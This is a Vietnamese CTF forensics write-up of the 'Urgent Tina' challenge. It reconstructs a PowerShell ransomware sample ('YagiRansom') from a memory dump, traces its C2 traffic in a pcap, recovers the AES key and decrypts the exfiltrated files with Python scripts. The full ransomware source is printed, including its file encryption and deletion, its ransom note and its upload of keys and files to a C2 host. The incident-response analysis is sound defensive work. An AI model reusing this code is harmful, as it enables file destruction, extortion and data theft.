Ở vòng sơ khảo SVATTT vừa qua mình giải được 2 bài forensics, dưới đây mình xin trình bày cách làm của mình cho bài forensics cuối cùng.
## Urgent Tina
> Our client is a pessimist, she is worried that if she does not pay the ransom in the next 8 hours, the hacker will not give her any more chance to get her data back. We are trying to reassure her because we believe that our talented experts can find the cause and restore her data in less than 8 hours.
> Author: bquanman
### Analysis
Challenge cho 1 file pcap và 1 file minidump .dmp. Ở đây mình xem thử file pcap trước để xem chuyện gì đang xảy ra.
Tập trung vào connect giữa 2 ip `192.168.240.1` và `192.168.240.147`.



Đây là C2 traffic, đồng thời User Agent mình thấy là WindowsPowershell nên nghi ngờ rằng việc tạo connect là từ Powershell script.
Mình thử dùng strings file minidump được cho để tìm thử powershell code trong memdump.
Mình kiếm được các powershell block, sau giải nên mình có thời gian để format và khôi phục lại đoạn code một chút.
:::spoiler `updater.exe`
```bash=
# Design
$ProgressPreference = "SilentlyContinue"
$ErrorActionPreference = "SilentlyContinue"
$OSVersion = [Environment]::OSVersion.Platform
if ($OSVersion -like "*Win*") {
$Host.UI.RawUI.WindowTitle = "YagiRansom"
$Host.UI.RawUI.BackgroundColor = "Black"
$Host.UI.RawUI.ForegroundColor = "White"
}
# Variables
$Mode = $args[0]
$Directory = $args[1]
$WiETm = $args[3]
$7CiB = $args[3]
$UFX = $args[5]
$ENyR = $args[6]
$DCe = $null
# Errors
if ($args[0] -like "-h*") { break }
if ($args[0] -eq $null) {
Write-Host "[!] Not enough/Wrong parameters!" -ForegroundColor Red ;
Write-Host ;
break
}
if ($args[1] -eq $null) {
Write-Host "[!] Not enough/Wrong parameters!" -ForegroundColor Red ;
Write-Host ;
break
}
if ($args[2] -eq $null) {
Write-Host "[!] Not enough/Wrong parameters!" -ForegroundColor Red ;
Write-Host ;
break
}
if ($args[3] -eq $null) {
Write-Host "[!] Not enough/Wrong parameters!" -ForegroundColor Red ;
Write-Host ;
break
}
# Proxy Aware
[System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy()
[System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$AllProtocols = [System.Net.SecurityProtocolType]"Ssl3,Tls,Tls11,Tls12" ;
[System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols
# Functions
$OgE = ([Environment]::MachineName).ToLower() ;
$zVSza = ([Environment]::UserName).ToLower() ;
$I26 = "yaginote.txt"
$7VEq = Get-Date -Format "HH:mm - dd/MM/yy" ;
$Uz19o = $7VEq.replace(":", "").replace(" ", "").replace("-", "").replace("/", "") + $zVSza + $OgE
if ($OSVersion -like "*Win*") {
$domain = (([Environment]::UserDomainName).ToLower() + "\") ;
$slash = "\"
}
else {
$domain = $null ;
$slash = "/"
}
$DirectoryTarget = $Directory.Split($slash)[-1] ;
if (!$DirectoryTarget) { $DirectoryTarget = $Directory.Path.Split($slash)[-1] }
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param(
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path)
Begin {
$m95I = New-Object System.Security.Cryptography.SHA256Managed
$n9ibn = New-Object System.Security.Cryptography.AesManaged
$n9ibn.Mode = [System.Security.Cryptography.CipherMode]::CBC
$n9ibn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$n9ibn.BlockSize = 128
$n9ibn.KeySize = 256
}
Process {
$n9ibn.Key = $m95I.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
if ($Text) { $plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text) }
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) { break }
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".enc"
}
$encryptor = $n9ibn.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $n9ibn.IV + $encryptedBytes
$n9ibn.Dispose()
if ($Text) { return [System.Convert]::ToBase64String($encryptedBytes) }
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
}
}
End {
$m95I.Dispose()
$n9ibn.Dispose()
}
}
function RemoveWallpaper {
$code = @"
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace CurrentUser {
public class Desktop {
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParm, string lpvParam, int fuWinIni);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int SetSysColors(int cElements, int[] lpaElements, int[] lpRgbValues);
public const int UpdateIniFile = 0x01;
public const int SendWinIniChange = 0x02;
public const int SetDesktopBackground = 0x0014;
public const int COLOR_DESKTOP = 1;
public int[] first = {COLOR_DESKTOP};
public static void RemoveWallPaper()
{
SystemParametersInfo( SetDesktopBackground, 0, "", SendWinIniChange | UpdateIniFile );
RegistryKey regkey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
regkey.SetValue(@"WallPaper", 0);
regkey.Close();
}
public static void SetBackground(byte r, byte g, byte b)
{
int[] elements = {COLOR_DESKTOP};
RemoveWallPaper();
System.Drawing.Color color = System.Drawing.Color.FromArgb(r,g,b);
int[] colors = { System.Drawing.ColorTranslator.ToWin32(color) };
SetSysColors(elements.Length, elements, colors);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\Colors", true);
key.SetValue(@"Background", string.Format("{0} {1} {2}", color.R, color.G, color.B));
key.Close();
}
}
}
"@
try { Add-Type -TypeDefinition $code -ReferencedAssemblies System.Drawing.dll }
finally {[CurrentUser.Desktop]::SetBackground(250, 25, 50)}
}
function PopUpRansom {
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [System.Windows.Forms.Application]::EnableVisualStyles()
Invoke-WebRequest -useb https://www.mediafire.com/view/wlq9mlfrlonlcuk/yagi.png/file -Outfile $env:temp\YagiRansom.jpg
Invoke-WebRequest -useb https://www.mediafire.com/file/s4qcg4hk6bnd2pe/Yagi.ico/file -Outfile $env:temp\YagiRansom.ico
$shell = New-Object -ComObject "Shell.Application"
$shell.minimizeall()
$form = New-Object system.Windows.Forms.Form
$form.ControlBox = $false;
$form.Size = New-Object System.Drawing.Size(900,600)
$form.BackColor = "Black"
$form.MaximizeBox = $false
$form.StartPosition = "CenterScreen"
$form.WindowState = "Normal"
$form.Topmost = $true
$form.FormBorderStyle = "Fixed3D"
$form.Text = "YagiRansom"
$formIcon = New-Object system.drawing.icon ("$env:temp\YagiRansom.ico")
$form.Icon = $formicon
$img = [System.Drawing.Image]::Fromfile("$env:temp\YagiRansom.jpg")
$pictureBox = new-object Windows.Forms.PictureBox
$pictureBox.Width = 920
$pictureBox.Height = 370
$pictureBox.SizeMode = "StretchImage"
$pictureBox.Image = $img
$form.controls.add($pictureBox)
$label = New-Object System.Windows.Forms.Label
$label.ForeColor = "Cyan"
$label.Text = "All your files have been encrypted by YagiRansom!"
$label.AutoSize = $true
$label.Location = New-Object System.Drawing.Size(50,400)
$font = New-Object System.Drawing.Font("Consolas",15,[System.Drawing.FontStyle]::Bold)
$form.Font = $Font
$form.Controls.Add($label)
$label1 = New-Object System.Windows.Forms.Label
$label1.ForeColor = "White"
$label1.Text = "But dont worry, you can still recover them with the recovery key if you pay the ransom in the next 8 hours."
$label1.AutoSize = $true
$label1.Location = New-Object System.Drawing.Size(50,450)
$font1 = New-Object System.Drawing.Font("Consolas",15,[System.Drawing.FontStyle]::Bold)
$form.Font = $Font1
$form.Controls.Add($label1)
$okbutton = New-Object System.Windows.Forms.Button;
$okButton.Location = New-Object System.Drawing.Point(750,500)
$okButton.Size = New-Object System.Drawing.Size(110,35)
$okbutton.ForeColor = "Black"
$okbutton.BackColor = "White"
$okbutton.FlatStyle = [System.Windows.Forms.FlatStyle]::Flat
$okButton.Text = 'Pay Now!'
$okbutton.Visible = $false
$okbutton.Enabled = $true
$okButton.DialogResult = [System.Windows.Forms.DialogResult]::OK
$okButton.add_Click({
[System.Windows.Forms.MessageBox]::Show($this.ActiveForm, 'Your payment order has been successfully registered!', 'YagiRansom Payment Processing System',
[Windows.Forms.MessageBoxButtons]::"OK", [Windows.Forms.MessageBoxIcon]::"Warning")})
$form.AcceptButton = $okButton
$form.Controls.Add($okButton)
$form.Activate() 2>&1> $null
$form.Focus() 2>&1> $null
$btn=New-Object System.Windows.Forms.Label
$btn.Location = New-Object System.Drawing.Point(50,500)
$btn.Width = 500
$form.Controls.Add($btn)
$btn.ForeColor = "Red"
$startTime = [DateTime]::Now
$count = 10.6
$7VEqr=New-Object System.Windows.Forms.Timer
$7VEqr.add_Tick(
{
$elapsedSeconds = ([DateTime]::Now - $startTime).TotalSeconds ;
$remainingSeconds = $count - $elapsedSeconds
if ($remainingSeconds -like "-0.1*") {
$7VEqr.Stop() ;
$okbutton.Visible = $true ;
$btn.Text = "0 Seconds remaining.."
}
$btn.Text = [String]::Format("{0} Seconds remaining..", [math]::round($remainingSeconds))
} )
$7VEqr.Start()
$btntest = $form.ShowDialog()
if ($btntest -like "OK"){ $Global:PayNow = "True" }
}
function R64Encoder {
if ($args[0] -eq "-t") { $VaFQ = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($args[1])) }
if ($args[0] -eq "-f") { $VaFQ = [Convert]::ToBase64String([IO.File]::ReadAllBytes($args[1])) }
$VaFQ = $VaFQ.Split("=")[0] ;
$VaFQ = $VaFQ.Replace("C", "-") ;
$VaFQ = $VaFQ.Replace("E", "_")
$8bKW = $VaFQ.ToCharArray() ;
[array]::Reverse($8bKW) ;
$R64Base = -join $8bKW ;
return $R64Base
}
function GetStatus {
Try { Invoke-WebRequest -useb "$7CiB`:$UFX/status" -Method GET
Write-Host "[i] C2 Server is up!" -ForegroundColor Green }
Catch { Write-Host "[!] C2 Server is down!" -ForegroundColor Red }
}
function SendResults {
$cvf = Invoke-AESEncryption -Key $Uz19o -Text $WiETm ;
$cVl = R64Encoder -t $cvf
$2YngY = "> $cVl > $OgE > $zVSza > $7VEq"
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "[!]" | Select-String "YagiRansom!" -NotMatch
$XoX = R64Encoder -t $2YngY ;
$B64Logs = R64Encoder -t $RansomLogs
Invoke-WebRequest -useb "$7CiB`:$UFX/data" -Method POST -Body $XoX 2>&1> $null
Invoke-WebRequest -useb "$7CiB`:$UFX/logs" -Method POST -Body $B64Logs 2>&1> $null
}
function SendClose { Invoke-WebRequest -useb "$7CiB`:$UFX/close" -Method GET 2>&1> $null }
function SendPay { Invoke-WebRequest -useb "$7CiB`:$UFX/pay" -Method GET 2>&1> $null }
function SendOK { Invoke-WebRequest -useb "$7CiB`:$UFX/done" -Method GET 2>&1> $null }
function CreateReadme {
$I26TXT = "All your files have been encrypted by YagiRansom!!`nBut don't worry, you can still recover them with the recovery key if you pay the ransom in the next 8 hours.`nTo get decryption instructions, you must transfer 100000$ to the following account:`n`nAccount Name: Mat tran To quoc Viet Nam - Ban Cuu Tro Trung uong`n`nAccount Number: 0011.00.1932418`n`nBank: Vietnam Joint Stock Commercial Bank for Foreign Trade (Vietcombank)`n"
if (!(Test-Path "$Directory$slash$I26")) { Add-Content -Path "$Directory$slash$I26" -Value $I26TXT }
}
function EncryptFiles {
$ExcludedFiles = '*.enc', 'yaginote.txt', '*.dll', '*.ini', '*.sys', '*.exe', '*.msi', '*.NLS', '*.acm', '*.nls', '*.EXE', '*.dat', '*.efi', '*.mui'
foreach ($i in $(Get-ChildItem $Directory -recurse -exclude $ExcludedFiles | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
Invoke-AESEncryption -Key $WiETm -Path $i ;
dd-Content -Path "$Directory$slash$I26" -Value "[!] $i is now encrypted" ;
Remove-Item $i
}
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "[!]" | Select-String "YagiRansom!" -NotMatch ;
if (!$RansomLogs) { Add-Content -Path "$Directory$slash$I26" -Value "[!] No files have been encrypted!" }
}
function ExfiltrateFiles {
Invoke-WebRequest -useb "$7CiB`:$UFX/files" -Method GET 2>&1> $null
$RansomLogs = Get-Content "$Directory$slash$I26" | Select-String "No files have been encrypted!" ;
if (!$RansomLogs) {
foreach ($i in $(Get-ChildItem $Directory -recurse -filter *.enc | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName }))
{
$Pfile = $i.split($slash)[-1] ;
$B64file = R64Encoder -f $i ;
$B64Name = R64Encoder -t $Pfile
Invoke-WebRequest -useb "$7CiB`:$UFX/files/$B64Name" -Method POST -Body $B64file 2>&1> $null
}
} else {
$B64Name = R64Encoder -t "none.null" ;
Invoke-WebRequest -useb "$7CiB`:$UFX/files/$B64Name" -Method POST -Body $B64file 2>&1> $null
}
}
function CheckFiles {
$RFiles = Get-ChildItem $Directory -recurse -filter *.enc ;
if ($RFiles) { $RFiles }
else { Write-Host "[!] No encrypted files found!" -ForegroundColor Red }
}
# Main
if ($Mode -eq "-d") {
Write-Host ;
Write-Host "[!] Shutdowning...." -ForegroundColor Red;
sleep 1
} else
{
Write-Host ;
Write-Host "[+] Checking communication with C2 Server.." -ForegroundColor Blue
$DCe = GetStatus ;
sleep 1
$WiETm = -join ( (48..57) + (65..90) + (97..122) | Get-Random -Count 24 | % {[char]$_})
Write-Host "[!] Encrypting ..." -ForegroundColor Red
CreateReadme ;
EncryptFiles ;
if ($DCe) {
SendResults ;
sleep 1
if ($ENyR -eq "-x") {
Write-Host "[i] Exfiltrating ..." -ForegroundColor Green
ExfiltrateFiles ;
sleep 1
}
}
if (!$DCe) { Write-Host "[+] Saving logs in yaginote.txt.." -ForegroundColor Blue }
else { Write-Host "[+] Sending logs to C2 Server.." -ForegroundColor Blue }
}
if ($args -like "-demo") {
RemoveWallpaper ;
PopUpRansom
if ($PayNow -eq "True") {
SendPay ;
SendOK
} else {
SendClose ;
SendOK
}
} else { SendOK }
sleep 1000 ;
Write-Host "[i] Done!" -ForegroundColor Green ;
```
:::
Đồng thời mình tìm được ransom log của các file đã bị encrypt ở trong Documents và command chạy ransomware là:
```bash
C:\Users\IEUser\Desktop\update.exe -e C:\Users\IEUser\Documents\ -s 192.168.240.1 -p 443 -x
```
Đầu tiên mình tìm cách attacker sử dụng để encrypt traffic và encrypt file, ở đây có hàm `AES encrypt` và `custom base64 encode`.
:::spoiler `AES encrypt`
```bash=
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param(
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path)
Begin {
$m95I = New-Object System.Security.Cryptography.SHA256Managed
$n9ibn = New-Object System.Security.Cryptography.AesManaged
$n9ibn.Mode = [System.Security.Cryptography.CipherMode]::CBC
$n9ibn.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$n9ibn.BlockSize = 128
$n9ibn.KeySize = 256
}
Process {
$n9ibn.Key = $m95I.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
if ($Text) { $plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text) }
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) { break }
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".enc"
}
$encryptor = $n9ibn.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $n9ibn.IV + $encryptedBytes
$n9ibn.Dispose()
if ($Text) { return [System.Convert]::ToBase64String($encryptedBytes) }
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime
}
}
End {
$m95I.Dispose()
$n9ibn.Dispose()
}
}
```
:::
:::spoiler `R64Encoder`
```bash=
function R64Encoder {
if ($args[0] -eq "-t") { $VaFQ = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($args[1])) }
if ($args[0] -eq "-f") { $VaFQ = [Convert]::ToBase64String([IO.File]::ReadAllBytes($args[1])) }
$VaFQ = $VaFQ.Split("=")[0] ;
$VaFQ = $VaFQ.Replace("C", "-") ;
$VaFQ = $VaFQ.Replace("E", "_")
$8bKW = $VaFQ.ToCharArray() ;
[array]::Reverse($8bKW) ;
$R64Base = -join $8bKW ;
return $R64Base
}
```
:::
Theo dõi flow chương trình thấy được các file trong `C:\Users\IEUser\Documents\` sẽ bị mã hoá thông qua hàm `EncryptFiles` (hàm này Invoke AES encryption và ghi lại kết quả vào ransomlog), sau đó thông qua `SendResults` gửi key và log này,... đến http server của attacker bằng uri `http://192.168.240.1:443/logs` và `http://192.168.240.1:443/data`
với option -x ban đầu chương trình tiếp tục chạy hàm ExfiltrateFiles gửi các file đã bị encrypt trong Documents lên http server bằng uri `http://192.168.240.1:443/files/$BASE64-FILENAME`.
Hiểu được flow chương trình và cách thức mã hoá file thì mình tiếp tục đi tìm key là gì. Ở đây key là để mã hoá file là `$WiETm`chứa 24 kí tự ngẫu nhiên.
```bash
$WiETm = -join ( (48..57) + (65..90) + (97..122) | Get-Random -Count 24 | % {[char]$_})
```
Key này được mã hoá AES bằng một key khác là `$Uz19o` kết hợp từ thời gian chương trình đang chạy, tên máy tính và tên user.


Các biến này được encode base64 bằng hàm custom của chương trình rồi mới gửi đi nên mình thử check data trong file pcap.

Vậy ta có key dùng để encrypt key của các file bị encrypt là `0009190924win-ho5dpb1fvndadministrator`
Decode base64(custom) chuỗi `gWJNVVxUDVFFGNDNjQqZDSKJmQS9WUphXRYd1LPNnd-NXeQVGdW5_bQJ2SWN2ZuVndtVzdhFjb3ZTZnhTdLFlZ`, rồi decode base64 (normal) thì thu được 16 bytes iv và còn lại là ciphertext. Hàm AES CBC encrypt sẽ sử dụng sha256(key) và iv.

Vậy key truyền vào hàm `Invoke-AESEncryption` để encrypt file là `YaMfem0zr4jdiZsDUxv1TH69`, tính SHA256 key này thu được key dùng để encrypt AES toàn bộ file và exfil các file này ra ngoài.

### Extract, decrypt and reward
Biết được key, mình viết script để tự động extract các encrypted file được capture file pcap và decrypt các file này.
Để tiện trong thời gian thi đấu thì mình đã chia thành 2 phần, đầu tiên viết script để extract từ pcap.
:::spoiler `extract.py`
```python=
import pyshark,base64
file = "../traffic.pcapng"
cap = pyshark.FileCapture(file, display_filter='ip.src==192.168.240.147 && ip.dst==192.168.240.1 && http.request.method == POST && frame.number >= 1247')
def b64dec(b64):
reverse = ''.join(b64[::-1])
reverse = reverse.replace("-", "C").replace("_","E")
padding_needed = len(reverse) % 4
if padding_needed != 0:
reverse += '=' * (4 - padding_needed)
return base64.b64decode(reverse)
for i in cap:
uri = str(i.http.get_field("request_uri"))
filename = uri.split("/")[2]
filename = b64dec(filename)
tmp = str(i.http.get_field('file_data').replace(":", ""))
tmp = bytes.fromhex(tmp)
with open(filename, 'wb') as f:
f.write(tmp)
```
:::

Ở đây dễ dàng thấy được flag bị chia thành các file nhỏ từ 1 đến 59. Mình chỉ viết script decrypt các file flag và ghép chúng lại với nhau
:::spoiler `decrypt.py`
```python=
import base64, re, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
KEY = bytes.fromhex("87db61d8626cfea8e091d71753d913116f53e49804ff6eb5b7eb69ef5a521ab8")
def b64dec(b64):
print(b64)
reverse = ''.join(reversed(b64))
print(reverse)
reverse = reverse.replace("-", "C").replace("_","E")
padding_needed = len(reverse) % 4
if padding_needed != 0:
reverse += '=' * (4 - padding_needed)
return base64.b64decode(reverse)
def decrypt(data):
iv = data[:16]
enc = data[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
dec = cipher.decrypt(enc)
print(dec)
return unpad(dec, 16)
flag = []
for i in range(1,60):
name = "flag_" + str(i) + ".txt.enc"
with open(name, "r") as f:
data = f.read()
data = b64dec(data)
dec = decrypt(data)
flag.append(dec)
with open("finally", "ab") as f:
f.write(dec)
print(b''.join(flag))
```
:::

> ***Flag: ASCIS{N0th1n9_1$_m0r3_pr3c10u5_7h4n_1ndEp3ndenc3_&_fr33d0m}***
Lời cuối cùng, mình xin gửi lời cảm ơn đến author của challenge và đồng thời là các bạn team UIT.Nokotan đã đồng hành cùng mình trong suốt 8h của giải.